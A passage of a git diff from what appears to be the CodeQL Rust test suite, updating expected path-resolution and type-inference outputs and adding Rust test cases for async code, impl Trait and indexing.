main.rs:125:13:125:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| main.rs:128:16:128:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| main.rs:125:13:125:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| main.rs:128:16:128:18 | i32 | {EXTERNAL LOCATION} | struct i32 | | main.rs:134:19:134:24 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:25 | ...::A | main.rs:124:9:126:9 | A | @@ -146,10 +145,10 @@ resolvePath | main.rs:278:16:278:16 | T | main.rs:272:7:272:7 | T | | main.rs:279:14:279:17 | Self | main.rs:270:5:280:5 | trait MyParamTrait | | main.rs:279:14:279:33 | ...::AssociatedType | main.rs:274:9:274:28 | type AssociatedType | -| main.rs:288:13:288:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:288:13:288:22 | ...::m13 | main.rs:283:1:296:1 | mod m13 | -| main.rs:288:13:288:25 | ...::f | main.rs:284:5:284:17 | fn f | -| main.rs:288:13:288:25 | ...::f | main.rs:284:19:285:19 | struct f | +| main.rs:288:13:288:16 | zelf | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:288:13:288:21 | ...::m13 | main.rs:283:1:296:1 | mod m13 | +| main.rs:288:13:288:24 | ...::f | main.rs:284:5:284:17 | fn f | +| main.rs:288:13:288:24 | ...::f | main.rs:284:19:285:19 | struct f | | main.rs:291:17:291:17 | f | main.rs:284:19:285:19 | struct f | | main.rs:292:21:292:21 | f | main.rs:284:19:285:19 | struct f | | main.rs:293:13:293:13 | f | main.rs:284:5:284:17 | fn f | @@ -267,65 +266,67 @@ resolvePath | main.rs:620:9:620:36 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | | main.rs:620:9:620:47 | ...::call_both | main.rs:586:9:589:9 | fn call_both | | main.rs:620:25:620:35 | Implementor | main.rs:592:5:592:23 | struct Implementor | -| main.rs:625:5:625:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:625:5:625:14 | ...::nested | my.rs:1:1:1:15 | mod nested | -| main.rs:625:5:625:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | -| main.rs:625:5:625:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | -| main.rs:625:5:625:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | -| main.rs:626:5:626:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:626:5:626:9 | ...::f | my.rs:5:1:7:1 | fn f | -| main.rs:627:5:627:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | -| main.rs:627:5:627:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | -| main.rs:627:5:627:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | -| main.rs:627:5:627:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:628:5:628:5 | f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:629:5:629:5 | g | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:630:5:630:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:630:5:630:12 | ...::h | main.rs:50:1:69:1 | fn h | -| main.rs:631:5:631:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:631:5:631:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:631:5:631:13 | ...::g | main.rs:23:9:27:9 | fn g | -| main.rs:632:5:632:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:632:5:632:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:632:5:632:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | -| main.rs:632:5:632:17 | ...::h | main.rs:30:27:34:13 | fn h | -| main.rs:633:5:633:6 | m4 | main.rs:39:1:46:1 | mod m4 | -| main.rs:633:5:633:9 | ...::i | main.rs:42:5:45:5 | fn i | -| main.rs:634:5:634:5 | h | main.rs:50:1:69:1 | fn h | -| main.rs:635:5:635:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:636:5:636:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:637:5:637:5 | j | main.rs:97:1:101:1 | fn j | -| main.rs:638:5:638:6 | m6 | main.rs:109:1:120:1 | mod m6 | -| main.rs:638:5:638:9 | ...::g | main.rs:114:5:119:5 | fn g | -| main.rs:639:5:639:6 | m7 | main.rs:122:1:141:1 | mod m7 | -| main.rs:639:5:639:9 | ...::f | main.rs:133:5:140:5 | fn f | -| main.rs:640:5:640:6 | m8 | main.rs:143:1:197:1 | mod m8 | -| main.rs:640:5:640:9 | ...::g | main.rs:181:5:196:5 | fn g | -| main.rs:641:5:641:6 | m9 | main.rs:199:1:207:1 | mod m9 | -| main.rs:641:5:641:9 | ...::f | main.rs:202:5:206:5 | fn f | -| main.rs:642:5:642:7 | m11 | main.rs:230:1:267:1 | mod m11 | -| main.rs:642:5:642:10 | ...::f | main.rs:235:5:238:5 | fn f | -| main.rs:643:5:643:7 | m15 | main.rs:298:1:352:1 | mod m15 | -| main.rs:643:5:643:10 | ...::f | main.rs:339:5:351:5 | fn f | -| main.rs:644:5:644:7 | m16 | main.rs:354:1:446:1 | mod m16 | -| main.rs:644:5:644:10 | ...::f | main.rs:421:5:445:5 | fn f | -| main.rs:645:5:645:7 | m17 | main.rs:448:1:478:1 | mod m17 | -| main.rs:645:5:645:10 | ...::f | main.rs:472:5:477:5 | fn f | -| main.rs:646:5:646:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | -| main.rs:646:5:646:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | -| main.rs:647:5:647:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | -| main.rs:647:5:647:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | -| main.rs:648:5:648:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | -| main.rs:648:5:648:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | -| main.rs:649:5:649:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| main.rs:650:5:650:7 | m18 | main.rs:480:1:498:1 | mod m18 | -| main.rs:650:5:650:12 | ...::m19 | main.rs:485:5:497:5 | mod m19 | -| main.rs:650:5:650:17 | ...::m20 | main.rs:490:9:496:9 | mod m20 | -| main.rs:650:5:650:20 | ...::g | main.rs:491:13:495:13 | fn g | -| main.rs:651:5:651:7 | m23 | main.rs:527:1:552:1 | mod m23 | -| main.rs:651:5:651:10 | ...::f | main.rs:547:5:551:5 | fn f | -| main.rs:652:5:652:7 | m24 | main.rs:554:1:622:1 | mod m24 | -| main.rs:652:5:652:10 | ...::f | main.rs:608:5:621:5 | fn f | +| main.rs:627:5:627:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:627:5:627:14 | ...::nested | my.rs:1:1:1:15 | mod nested | +| main.rs:627:5:627:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | +| main.rs:627:5:627:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | +| main.rs:627:5:627:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | +| main.rs:628:5:628:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:628:5:628:9 | ...::f | my.rs:5:1:7:1 | fn f | +| main.rs:629:5:629:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | +| main.rs:629:5:629:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | +| main.rs:629:5:629:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | +| main.rs:629:5:629:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:630:5:630:5 | f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:631:5:631:5 | g | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:632:5:632:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:632:5:632:12 | ...::h | main.rs:50:1:69:1 | fn h | +| main.rs:633:5:633:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:633:5:633:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:633:5:633:13 | ...::g | main.rs:23:9:27:9 | fn g | +| main.rs:634:5:634:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:634:5:634:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:634:5:634:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | +| main.rs:634:5:634:17 | ...::h | main.rs:30:27:34:13 | fn h | +| main.rs:635:5:635:6 | m4 | main.rs:39:1:46:1 | mod m4 | +| main.rs:635:5:635:9 | ...::i | main.rs:42:5:45:5 | fn i | +| main.rs:636:5:636:5 | h | main.rs:50:1:69:1 | fn h | +| main.rs:637:5:637:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:638:5:638:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:639:5:639:5 | j | main.rs:97:1:101:1 | fn j | +| main.rs:640:5:640:6 | m6 | main.rs:109:1:120:1 | mod m6 | +| main.rs:640:5:640:9 | ...::g | main.rs:114:5:119:5 | fn g | +| main.rs:641:5:641:6 | m7 | main.rs:122:1:141:1 | mod m7 | +| main.rs:641:5:641:9 | ...::f | main.rs:133:5:140:5 | fn f | +| main.rs:642:5:642:6 | m8 | main.rs:143:1:197:1 | mod m8 | +| main.rs:642:5:642:9 | ...::g | main.rs:181:5:196:5 | fn g | +| main.rs:643:5:643:6 | m9 | main.rs:199:1:207:1 | mod m9 | +| main.rs:643:5:643:9 | ...::f | main.rs:202:5:206:5 | fn f | +| main.rs:644:5:644:7 | m11 | main.rs:230:1:267:1 | mod m11 | +| main.rs:644:5:644:10 | ...::f | main.rs:235:5:238:5 | fn f | +| main.rs:645:5:645:7 | m15 | main.rs:298:1:352:1 | mod m15 | +| main.rs:645:5:645:10 | ...::f | main.rs:339:5:351:5 | fn f | +| main.rs:646:5:646:7 | m16 | main.rs:354:1:446:1 | mod m16 | +| main.rs:646:5:646:10 | ...::f | main.rs:421:5:445:5 | fn f | +| main.rs:647:5:647:7 | m17 | main.rs:448:1:478:1 | mod m17 | +| main.rs:647:5:647:10 | ...::f | main.rs:472:5:477:5 | fn f | +| main.rs:648:5:648:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | +| main.rs:648:5:648:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | +| main.rs:649:5:649:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | +| main.rs:649:5:649:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | +| main.rs:650:5:650:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | +| main.rs:650:5:650:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:651:5:651:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | +| main.rs:652:5:652:7 | m18 | main.rs:480:1:498:1 | mod m18 | +| main.rs:652:5:652:12 | ...::m19 | main.rs:485:5:497:5 | mod m19 | +| main.rs:652:5:652:17 | ...::m20 | main.rs:490:9:496:9 | mod m20 | +| main.rs:652:5:652:20 | ...::g | main.rs:491:13:495:13 | fn g | +| main.rs:653:5:653:7 | m23 | main.rs:527:1:552:1 | mod m23 | +| main.rs:653:5:653:10 | ...::f | main.rs:547:5:551:5 | fn f | +| main.rs:654:5:654:7 | m24 | main.rs:554:1:622:1 | mod m24 | +| main.rs:654:5:654:10 | ...::f | main.rs:608:5:621:5 | fn f | +| main.rs:655:5:655:8 | zelf | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:655:5:655:11 | ...::h | main.rs:50:1:69:1 | fn h | | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | @@ -341,7 +342,7 @@ resolvePath | my2/my3/mod.rs:3:5:3:5 | g | my2/mod.rs:3:1:6:1 | fn g | | my2/my3/mod.rs:4:5:4:5 | h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:7:5:7:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | -| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:653:2 | SourceFile | +| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:656:2 | SourceFile | | my2/my3/mod.rs:7:5:7:19 | ...::h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:8:5:8:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | | my2/my3/mod.rs:8:5:8:12 | ...::g | my2/mod.rs:3:1:6:1 | fn g | @@ -351,19 +352,21 @@ resolvePath | my.rs:18:9:18:11 | my4 | my.rs:14:1:16:1 | mod my4 | | my.rs:18:9:18:16 | ...::my5 | my.rs:15:5:15:16 | mod my5 | | my.rs:18:9:18:19 | ...::f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| my.rs:22:5:22:9 | std | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/std/src/lib.rs:0:0:0:0 | Crate(std@0.0.0) | -| my.rs:22:5:22:17 | ...::result | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/lib.rs:356:1:356:15 | mod result | -| my.rs:22:5:24:12 | ...::Result::<...> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | enum Result | +| my.rs:22:5:22:9 | std | {EXTERNAL LOCATION} | Crate(std@0.0.0) | +| my.rs:22:5:22:17 | ...::result | {EXTERNAL LOCATION} | mod result | +| my.rs:22:5:24:12 | ...::Result::<...> | {EXTERNAL LOCATION} | enum Result | | my.rs:23:5:23:5 | T | my.rs:21:5:21:5 | T | -| my.rs:28:8:28:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:29:8:29:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| my.rs:24:5:24:10 | String | {EXTERNAL LOCATION} | struct String | +| my.rs:28:8:28:10 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:29:8:29:10 | i32 | {EXTERNAL LOCATION} | struct i32 | | my.rs:30:6:30:16 | Result::<...> | my.rs:18:34:25:1 | type Result<...> | -| my.rs:30:13:30:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:33:16:33:18 | Err | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:534:5:537:56 | Err | -| my.rs:35:5:35:6 | Ok | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:529:5:532:55 | Ok | +| my.rs:30:13:30:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:33:16:33:18 | Err | {EXTERNAL LOCATION} | Err | +| my.rs:35:5:35:6 | Ok | {EXTERNAL LOCATION} | Ok | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:15:9:15:15 | nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:15:9:15:18 | ...::f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:21:5:21:11 | nested1 | my/nested.rs:1:1:17:1 | mod nested1 | | my/nested.rs:21:5:21:20 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:21:5:21:23 | ...::f | my/nested.rs:3:9:5:9 | fn f | +testFailures diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql index d04036f7b51..0fe49a8e386 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql @@ -5,22 +5,7 @@ import TestUtils query predicate mod(Module m) { toBeTested(m) } -final private class ItemNodeFinal = ItemNode; - -class ItemNodeLoc extends ItemNodeFinal { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - .regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - ) - } -} - -query predicate resolvePath(Path p, ItemNodeLoc i) { +query predicate resolvePath(Path p, ItemNode i) { toBeTested(p) and not p.isFromMacroExpansion() and i = resolvePath(p) diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.qlref b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref new file mode 100644 index 00000000000..54a21bc91ab --- /dev/null +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref @@ -0,0 +1,2 @@ +query: path-resolution.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 36d3f5a82ea..fa3ca445b6b 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -697,7 +697,7 @@ mod trait_associated_type { println!("{:?}", x3.put(1).unwrap()); // $ method=S::put method=unwrap // Call to default implementation in `trait` block - println!("{:?}", x3.putTwo(2, 3).unwrap()); // $ method=putTwo MISSING: method=unwrap + println!("{:?}", x3.putTwo(2, 3).unwrap()); // $ method=putTwo method=unwrap let x4 = g(S); // $ MISSING: type=x4:AT println!("{:?}", x4); @@ -1154,6 +1154,17 @@ mod implicit_self_borrow { } mod borrowed_typed { + #[derive(Debug, Copy, Clone, Default)] + struct MyFlag { + bool: bool, + } + + impl MyFlag { + fn flip(&mut self) { + self.bool = !self.bool; // $ fieldof=MyFlag method=not + } + } + struct S; impl S { @@ -1179,6 +1190,14 @@ mod borrowed_typed { x.f1(); // $ method=f1 x.f2(); // $ method=f2 S::f3(&x); + + let n = **&&true; // $ type=n:bool + + // In this example the type of `flag` must be inferred at the call to + // `flip` and flow through the borrow in the argument. + let mut flag = Default::default(); + MyFlag::flip(&mut flag); + println!("{:?}", flag); // $ type=flag:MyFlag } } @@ -1630,6 +1649,162 @@ mod overloadable_operators { } } +mod async_ { + use std::future::Future; + + struct S1; + + impl S1 { + pub fn f(self) {} // S1f + } + + async fn f1() -> S1 { + S1 + } + + fn f2() -> impl Future { + async { + S1 + } + } + + struct S2; + + impl Future for S2 { + type Output = S1; + + fn poll(self: std::pin::Pin<&mut Self>, _cx: &mut std::task::Context<'_>) -> std::task::Poll { + std::task::Poll::Ready(S1) + } + } + + fn f3() -> impl Future { + S2 + } + + pub async fn f() { + f1().await.f(); // $ method=S1f + f2().await.f(); // $ method=S1f + f3().await.f(); // $ method=S1f + S2.await.f(); // $ method=S1f + let b = async { + S1 + }; + b.await.f(); // $ method=S1f + } +} + + +mod impl_trait { + struct S1; + struct S2; + + trait Trait1 { + fn f1(&self) {} // Trait1f1 + } + + trait Trait2 { + fn f2(&self) {} // Trait2f2 + } + + impl Trait1 for S1 { + fn f1(&self) {} // S1f1 + } + + impl Trait2 for S1 { + fn f2(&self) {} // S1f2 + } + + fn f1() -> impl Trait1 + Trait2 { + S1 + } + + trait MyTrait { + fn get_a(&self) -> A; // MyTrait::get_a + } + + impl MyTrait for S1 { + fn get_a(&self) -> S2 { + S2 + } + } + + fn get_a_my_trait() -> impl MyTrait { + S1 + } + + fn uses_my_trait1>(t: B) -> A { + t.get_a() // $ method=MyTrait::get_a + } + + fn uses_my_trait2(t: impl MyTrait) -> A { + t.get_a() // $ method=MyTrait::get_a + } + + pub fn f() { + let x = f1(); + x.f1(); // $ method=Trait1f1 + x.f2(); // $ method=Trait2f2 + let a = get_a_my_trait(); + let b = uses_my_trait1(a); // $ type=b:S2 + let a = get_a_my_trait(); + let c = uses_my_trait2(a); // $ type=c:S2 + let d = uses_my_trait2(S1); // $ type=d:S2 + } +} + +mod indexers { + use std::ops::Index; + + #[derive(Debug)] + struct S; + + impl S { + fn foo(&self) -> Self { + S + } + } + + #[derive(Debug)] + struct MyVec { + data: Vec, + } + + impl MyVec { + fn new() -> Self { + MyVec { data: Vec::new() } + } + + fn push(&mut self, value: T) { + self.data.push(value); // $ fieldof=MyVec method=push + } + } + + impl Index for MyVec { + type Output = T; + + // MyVec::index + fn index(&self, index: usize) -> &Self::Output { + &self.data[index] // $ fieldof=MyVec + } + } + + fn analyze_slice(slice: &[S]) { + let x = slice[0].foo(); // $ method=foo type=x:S + } + + pub fn f() { + let mut vec = MyVec::new(); // $ type=vec:T.S + vec.push(S); // $ method=push + vec[0].foo(); // $ MISSING: method=foo -- type inference does not support the `Index` trait yet + + let xs: [S; 1] = [S]; + let x = xs[0].foo(); // $ method=foo type=x:S + + analyze_slice(&xs); + } +} + fn main() { field_access::f(); method_impl::f(); @@ -1649,4 +1824,7 @@ fn main() { try_expressions::f(); builtins::f(); operators::f(); + async_::f(); + impl_trait::f(); + indexers::f(); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 8e04a0c0752..c559584307d 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,4 +1,3 @@ -testFailures inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | @@ -6,7 +5,7 @@ inferType | main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | MyThing | | main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | S | -| main.rs:27:18:27:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:27:18:27:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:27:26:27:26 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:27:26:27:28 | x.a | | main.rs:2:5:3:13 | S | | main.rs:32:13:32:13 | x | | main.rs:16:5:19:5 | GenericThing | @@ -14,7 +13,7 @@ inferType | main.rs:32:17:32:42 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | S | | main.rs:32:40:32:40 | S | | main.rs:2:5:3:13 | S | -| main.rs:33:18:33:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:33:18:33:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:33:26:33:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:33:26:33:28 | x.a | | main.rs:2:5:3:13 | S | @@ -23,7 +22,7 @@ inferType | main.rs:36:17:36:37 | GenericThing {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | S | | main.rs:36:35:36:35 | S | | main.rs:2:5:3:13 | S | -| main.rs:37:18:37:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:37:18:37:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:37:26:37:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:37:26:37:28 | x.a | | main.rs:2:5:3:13 | S | @@ -31,7 +30,7 @@ inferType | main.rs:41:17:43:9 | OptionS {...} | | main.rs:21:5:23:5 | OptionS | | main.rs:42:16:42:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | -| main.rs:44:18:44:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:44:18:44:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:44:26:44:26 | x | | main.rs:21:5:23:5 | OptionS | | main.rs:44:26:44:28 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | S | @@ -43,7 +42,7 @@ inferType | main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | S | | main.rs:48:16:48:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | -| main.rs:50:18:50:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:50:18:50:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:50:26:50:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | MyOption | | main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | S | @@ -64,7 +63,7 @@ inferType | main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | S | | main.rs:56:30:56:32 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | S | -| main.rs:57:18:57:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:57:18:57:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:57:26:57:26 | a | | main.rs:10:5:14:5 | MyOption | | main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | S | | main.rs:70:19:70:22 | SelfParam | | main.rs:67:5:67:21 | Foo | @@ -74,7 +73,7 @@ inferType | main.rs:74:32:76:9 | { ... } | | main.rs:67:5:67:21 | Foo | | main.rs:75:13:75:16 | self | | main.rs:67:5:67:21 | Foo | | main.rs:79:23:84:5 | { ... } | | main.rs:67:5:67:21 | Foo | -| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | {EXTERNAL LOCATION} | str | | main.rs:81:13:81:13 | x | | main.rs:67:5:67:21 | Foo | | main.rs:81:17:81:22 | Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:82:13:82:13 | y | | main.rs:67:5:67:21 | Foo | @@ -83,27 +82,27 @@ inferType | main.rs:86:14:86:14 | x | | main.rs:67:5:67:21 | Foo | | main.rs:86:22:86:22 | y | | main.rs:67:5:67:21 | Foo | | main.rs:86:37:90:5 | { ... } | | main.rs:67:5:67:21 | Foo | -| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | {EXTERNAL LOCATION} | str | | main.rs:88:9:88:9 | x | | main.rs:67:5:67:21 | Foo | | main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:14 | y.m2() | | main.rs:67:5:67:21 | Foo | | main.rs:100:25:100:28 | SelfParam | | main.rs:99:5:101:5 | Self [trait MyTrait] | | main.rs:105:25:105:28 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:105:39:107:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:105:39:107:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:106:13:106:22 | self.field | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:106:13:106:22 | self.field | | {EXTERNAL LOCATION} | bool | | main.rs:111:13:111:13 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:111:17:111:39 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:111:34:111:37 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:112:13:112:13 | a | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:111:34:111:37 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:112:13:112:13 | a | | {EXTERNAL LOCATION} | bool | | main.rs:112:17:112:17 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:112:17:112:32 | x.trait_method() | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:112:17:112:32 | x.trait_method() | | {EXTERNAL LOCATION} | bool | | main.rs:114:13:114:13 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:114:17:114:40 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:114:34:114:38 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:115:13:115:13 | b | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:115:17:115:40 | ...::trait_method(...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:114:34:114:38 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:115:13:115:13 | b | | {EXTERNAL LOCATION} | bool | +| main.rs:115:17:115:40 | ...::trait_method(...) | | {EXTERNAL LOCATION} | bool | | main.rs:115:39:115:39 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:132:15:132:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | | main.rs:132:15:132:18 | 